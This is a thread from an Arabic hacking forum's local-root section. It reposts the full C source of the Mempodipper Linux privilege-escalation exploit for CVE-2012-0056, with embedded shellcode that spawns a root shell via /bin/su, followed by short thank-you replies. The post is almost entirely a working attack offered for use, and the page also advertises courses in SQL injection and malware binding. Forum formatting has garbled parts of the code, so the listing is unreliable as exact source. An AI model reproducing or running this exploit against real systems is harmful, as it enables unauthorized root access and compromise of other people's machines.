1. المٌقدمة الأولي :دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    تٌعد ثغرات حقن قواعد البينات الثغرة رقم واحد فى العالم والمصنفة تحت بند الإخطر
    والفريق التابع له بإختراق أكبر المواقع الصهيونية قرائة الموضوع
  2. المٌقدمة الثانية : دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    في هذه المٌثقدمة الثانية والأخيرة سوف نتعرف على قواعد علم حقن قواعد البيانات
    حتى يتثنى لنا علم يٌساعدنا على القيام بعمليات الحقن بالطرق الصحيحه قرائة الموضوع
  3. دورة كشف دمج والتلغيم حصريا على أرض عراق تيم(2017)
    بعد ماقمت بعمل دورة الكشف دمج والتلغيم وستكملت الدوره وتحتوي على 12 درس
    كانت دروس حصريا على عراق تيم وشرح واضح جدا ومفهوم الى المبتدأ والى المبدع قرائة الموضوع

2012 local

الموضوع في 'قسم اللوكال رووت Local Root' بواسطة calipsou07, بتاريخ ‏31 مارس 2012.

كاتب الموضوع : calipsou07 المشاهدات : 11,541 الردود : 3 ‏31 مارس 2012
حالة الموضوع:
مغلق
  1. غير متصل

    calipsou07
    rank
    Developer

    عضو منذ:
    ‏31 مارس 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    الإقامة:

    [​IMG]

    [​IMG]


    كود PHP:
    /*
     * Mempodipper
     * by zx2c4
     * 
     * Linux Local Root Exploit
     * 
     * Rather than put my write up here, per usual, this time I've put it
     * in a rather lengthy blog post: http://blog.zx2c4.com/749
     * 
     * Enjoy.
     * 
     * - zx2c4
     * Jan 21, 2012
     * 
     * CVE-2012-0056
     */

    #define _LARGEFILE64_SOURCE 
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <sys/socket.h>
    #include <sys/un.h>
    #include <sys/wait.h>
    #include <sys/types.h>
    #include <sys/user.h>
    #include <sys/ptrace.h>
    #include <sys/reg.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <limits.h>

    char *prog_name;

    int send_fd(int sockint fd)
    {
        
    char buf[1];
        
    struct iovec iov;
        
    struct msghdr msg;
        
    struct cmsghdr *cmsg;
        
    int n;
        
    char cms[CMSG_SPACE(sizeof(int))];

        
    buf[0] = 0;
        
    iov.iov_base buf;
        
    iov.iov_len 1;

        
    memset(&msg0sizeof msg);
        
    msg.msg_iov = &iov;
        
    msg.msg_iovlen 1;
        
    msg.msg_control = (caddr_t)cms;
        
    msg.msg_controllen CMSG_LEN(sizeof(int));

        
    cmsg CMSG_FIRSTHDR(&msg);
        
    cmsg->cmsg_len CMSG_LEN(sizeof(int));
        
    cmsg->cmsg_level SOL_SOCKET;
        
    cmsg->cmsg_type SCM_RIGHTS;
        
    memmove(CMSG_DATA(cmsg), &fdsizeof(int));

        if ((
    sendmsg(sock, &msg0)) != iov.iov_len)
            return -
    1;
        
    close(sock);
        return 
    0;
    }

    int recv_fd(int sock)
    {
        
    int n;
        
    int fd;
        
    char buf[1];
        
    struct iovec iov;
        
    struct msghdr msg;
        
    struct cmsghdr *cmsg;
        
    char cms[CMSG_SPACE(sizeof(int))];
        
        
    iov.iov_base buf;
        
    iov.iov_len 1;

        
    memset(&msg0sizeof msg);
        
    msg.msg_name 0;
        
    msg.msg_namelen 0;
        
    msg.msg_iov = &iov;
        
    msg.msg_iovlen 1;

        
    msg.msg_control = (caddr_t)cms;
        
    msg.msg_controllen sizeof cms;

        if ((
    recvmsg(sock, &msg0)) < 0)
            return -
    1;
        if (
    == 0)
            return -
    1;
        
    cmsg CMSG_FIRSTHDR(&msg);
        
    memmove(&fdCMSG_DATA(cmsg), sizeof(int));
        
    close(sock);
        return 
    fd;
    }

    unsigned long ptrace_address()
    {
        
    int fd[2];
        
    printf("[+] Creating ptrace pipe.\n");
        
    pipe2(fdO_NONBLOCK);
        
    printf("[+] Forking ptrace child.\n");
        
    int child fork();
        if (
    child) {
            
    close(fd[1]);
            
    char buf;
            
    printf("[+] Waiting for ptraced child to give output on syscalls.\n");
            for (;;) {
                
    wait(NULL);
                if (
    read(fd[0], &buf1) > 0)
                    break;
                
    ptrace(PTRACE_SYSCALLchildNULLNULL);
            }
            
            
    printf("[+] Error message written. Single stepping to find address.\n");
            
    struct user_regs_struct regs;
            for (;;) {
                
    ptrace(PTRACE_SINGLESTEPchildNULLNULL);
                
    wait(NULL);
                
    ptrace(PTRACE_GETREGSchildNULL, &regs);
    #if defined(__i386__)
    #define instruction_pointer regs.eip
    #define upper_bound 0xb0000000
    #elif defined(__x86_64__)
    #define instruction_pointer regs.rip
    #define upper_bound 0x700000000000
    #else
    #error "That platform is not supported."
    #endif
                
    if (instruction_pointer upper_bound) {
                    
    unsigned long instruction ptrace(PTRACE_PEEKTEXTchildinstruction_pointerNULL);
                    if ((
    instruction 0xffff) == 0x25ff /* jmp r/m32 */)
                        return 
    instruction_pointer;
                }
            }
        } else {
            
    printf("[+] Ptrace_traceme'ing process.\n");
            if (
    ptrace(PTRACE_TRACEME0NULLNULL) < 0) {
                
    perror("[-] ptrace");
                return 
    0;
            }
            
    close(fd[0]);
            
    dup2(fd[1], 2);
            
    execl("/bin/su""su""not-a-valid-user"NULL);
        }
        return 
    0;
    }

    unsigned long objdump_address()
    {
        
    FILE *command popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'""r");
        if (!
    command) {
            
    perror("[-] popen");
            return 
    0;
        }
        
    char result[32];
        
    fgets(result32command);
        
    pclose(command);
        return 
    strtoul(resultNULL16);
    }

    unsigned long find_address()
    {
        
    printf("[+] Ptracing su to find next instruction without reading binary.\n");
        
    unsigned long address ptrace_address();
        if (!
    address) {
            
    printf("[-] Ptrace failed.\n");
            
    printf("[+] Reading su binary with objdump to find exit@plt.\n");
            
    address objdump_address();
            if (
    address == ULONG_MAX || !address) {
                
    printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
                
    printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n"prog_nameprog_name);
                exit(-
    1);
            }
        }
        
    printf("[+] Resolved call address to 0x%lx.\n"address);
        return 
    address;
    }

    int su_padding()
    {
        
    printf("[+] Calculating su padding.\n");
        
    FILE *command popen("/bin/su this-user-does-not-exist 2>&1""r");
        if (!
    command) {
            
    perror("[-] popen");
            exit(
    1);
        }
        
    char result[256];
        
    fgets(result256command);
        
    pclose(command);
        return 
    strstr(result"this-user-does-not-exist") - result;
    }

    int child(int sock)
    {
        
    char parent_mem[256];
        
    sprintf(parent_mem"/proc/%d/mem"getppid());
        
    printf("[+] Opening parent mem %s in child.\n"parent_mem);
        
    int fd open(parent_memO_RDWR);
        if (
    fd 0) {
            
    perror("[-] open");
            return 
    1;
        }
        
    printf("[+] Sending fd %d to parent.\n"fd);
        
    send_fd(sockfd);
        return 
    0;
    }

    int parent(unsigned long address)
    {
        
    int sockets[2];
        
    printf("[+] Opening socketpair.\n");
        if (
    socketpair(AF_UNIXSOCK_STREAM0sockets) < 0) {
            
    perror("[-] socketpair");
            return 
    1;
        }
        if (
    fork()) {
            
    printf("[+] Waiting for transferred fd in parent.\n");
            
    int fd recv_fd(sockets[1]);
            
    printf("[+] Received fd at %d.\n"fd);
            if (
    fd 0) {
                
    perror("[-] recv_fd");
                return 
    1;
            }
            
    printf("[+] Assigning fd %d to stderr.\n"fd);
            
    dup2(215);
            
    dup2(fd2);

            
    unsigned long offset address su_padding();
            
    printf("[+] Seeking to offset 0x%lx.\n"offset);
            
    lseek64(fdoffsetSEEK_SET);
            
    #if defined(__i386__)
            // See *****code-32.s in this package for the source.
            
    char *****code[] =
                
    "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
                "\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
                "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
                "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
                "\x80"
    ;
    #elif defined(__x86_64__)
            // See *****code-64.s in this package for the source.
            
    char *****code[] =
                
    "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48"
                "\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f"
                "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7"
                "\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50"
                "\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05"
    ;
    #else
    #error "That platform is not supported."
    #endif
            
    printf("[+] Executing su with *****code.\n");
            
    execl("/bin/su""su", *****codeNULL);
        } else {
            
    char sock[32];
            
    sprintf(sock"%d"sockets[0]);
            
    printf("[+] Executing child from child fork.\n");
            
    execl("/proc/self/exe"prog_name"-c"sockNULL);
        }
        return 
    0;
    }

    int main(int argcchar **argv)
    {
        
    prog_name argv[0];
        
        if (
    argc && argv[1][0] == '-' && argv[1][1] == 'c')
            return 
    child(atoi(argv[2]));
        
        
    printf("===============================\n");
        
    printf("=          Mempodipper        =\n");
        
    printf("=           by zx2c4          =\n");
        
    printf("=         Jan 21, 2012        =\n");
        
    printf("===============================\n\n");
        
        if (
    argc && argv[1][0] == '-' && argv[1][1] == 'o')
            return 
    parent(strtoul(argv[2], NULL16));
        else
            return 
    parent(find_address());
     


    جاري تحميل الصفحة...
  2. غير متصل

    i-Hmx
    rankrank
    Developer

    عضو منذ:
    ‏20 ابريل 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    الإقامة:

    رد: 2012 local

    بارك الله فيك وجعلك زخرا للاسلام &:"
     


  3. غير متصل

    Dr.reo
    rank
    Developer

    عضو منذ:
    ‏6 مايو 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    الإقامة:

    رد: 2012 local

    يعطيك الف عافية ع المجهود يا وحش

    )5:"
     


  4. غير متصل

    السيف القاتل
    rankrank
    Developer

    عضو منذ:
    ‏13 ديسمبر 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    الإقامة:

    رد: 2012 local

    تسسسسسسسلم يابطل
    ماقصرت
     


الوسوم:
حالة الموضوع:
مغلق

مشاركة هذه الصفحة

جاري تحميل الصفحة...